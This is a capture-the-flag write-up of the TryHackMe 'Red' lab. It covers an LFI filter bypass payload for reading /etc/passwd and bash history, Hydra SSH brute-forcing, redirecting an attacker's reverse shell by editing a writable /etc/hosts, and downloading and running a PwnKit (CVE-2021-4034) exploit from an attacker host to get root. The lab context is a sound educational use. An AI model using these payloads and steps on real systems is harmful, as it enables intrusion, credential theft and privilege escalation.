TryHackMe — Red A classic battle for the ages — write-up

What happens when you’re the Blue team, but the attacker keeps changing passwords, killing your sessions, and fighting back? In this TryHackMe Red lab, I’ll walk through how I used enumeration, cron jobs, /etc/hosts manipulation, a reverse shell, and CVE-2021-4034 to turn the battle around and reach root.

Enumeration:

This machine has 2 open ports i found from simple nmap scan, 22(ssh) & 80(web page):

Web Enumeration:

From web enumeration 1st i find nothing i stck here like 20 minitues but then i see an intresting things: http://10.49.149.104/index.php?page=home.html

• parameter so i can try LFI

LFI

I tried here different methods but didn’t works then i found that i can also read the index.php through parameter:

It takes the page parameter, checks that it starts with a lowercase letter, removes ../ and ./, then passes the result to readfile() to display the file.

The filter is weak because the two sequential str_replace() operations can transform crafted input into ../ again, potentially allowing path traversal/LFI.

Also it needs a valid page means directory so from source code or fuzzing i got it:

It exists so Now i try path traversal:

assets/.././etc/passwd  = assets/etc/passwd

# for path tarversal i need to execute ../

assets/.....///etc/passwd = assets/../etc/passwd

so last one words because ../ 1st remove then ./ then i have ../ so it works with /etc/passwd & it not sanitize becasue the str_replace() function not called after 2rd time or its not automate that process.

assets/.....///.....///.....///.....///etc/passwd

It works & i got user blue & red so i try to read their .bash_history:

I able to read the blue user’s bash history, from here i got:

A.reminder file and a Hashcat best64.rule command used to generate a password list (passlist.txt).

Also i got the reminder file:

so i also generates the passwords list using that rule:

Note: if this bast64 rule not in you machine try update hashcat or downloa this list from github or from their official website.

Done it, next using hydra i try to brute force the blue user:

Then login SSH using these credentials: ssh blue@TARGET_IP

Got 1st flag.

Next i do differnt things like sudo -l , all files check nothing works also it gives me some times a wired message in time interval:

Note: if SSH session died use hydra again got a new password then login it using SSH.

When i run ps aux:

The process list shows the red user running a Bash reverse shell connecting to redrules.thm on port 9001.

I also download pspy64 & runs in it’s /tmp folder:

It runs multiple times that’s why i got multiple message on blues bash.

Get PRiTi.EX’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Also i got it some things:

After decode:

Ohh, so red try to trick me.

Post-Enumeration

From ps aux found Red's reverse-shell process, next from /etc/hosts:

also i check it’s permission, anyone can write it.

from this ip red might me conect through revershell, so i add here my kali tun0 openvpn ip with this domain.

Done, next i open a nc on other terminal on kali:

I use 9001 because the redrules.thm use this port.

got the shell as red.

got the 2nd flag.

Find SUID pkexec

Check Red’s files:

pkexec (PolicyKit Execute) is a Linux command used to run programs with another user's privileges, commonly with administrative/root privileges when authorized, also got it’s version:

And i got a CVE for it: https://github.com/Almorabea/pkexec-exploit/tree/main

Use Python PwnKit Exploit

Download the Python exploit on Kali using wget:

wget https://raw.githubusercontent.com/joeammond/CVE-2021-4034/refs/heads/main/CVE-2021-4034.py

Modify the final execve() path:

It has in last line of CVE file.

libc.execve(b'/home/red/.git/pkexec', c_char_p(None), environ_p)

Because it has 2 differnt files exists on red:

the 1st one is in the CVE file so i have to change it, because 2nd has the SUID permission.

Start HTTP server on Kali: python3 -m http.server 8000

Download on Red:

cd /tmp
wget http://KALI_IP:8000/CVE-2021-4034.py
chmod +x CVE-2021-4034.py

Run: python3 CVE-2021–4034.py

got shell as root.

From /root i got the 3rd flag.

Post-Exploitation Enumeration (Extra):

After gaining root, I checked Red’s defense directory to understand how the lab’s automated defenses worked.

The main scripts were:

talk.sh        → sends taunts to Blue
backup.sh      → restores /etc/hosts
change_pass.sh → changes Blue's password
kill_sess.sh   → terminates Blue's session
clean_red.sh   → cleans Red-related TCP processes

I also checked the root crontab: crontab -l

This showed that these defense scripts were automatically executed at different intervals, explaining the repeated password changes, session termination, taunts, and /etc/hosts restoration.

Thanks for Reading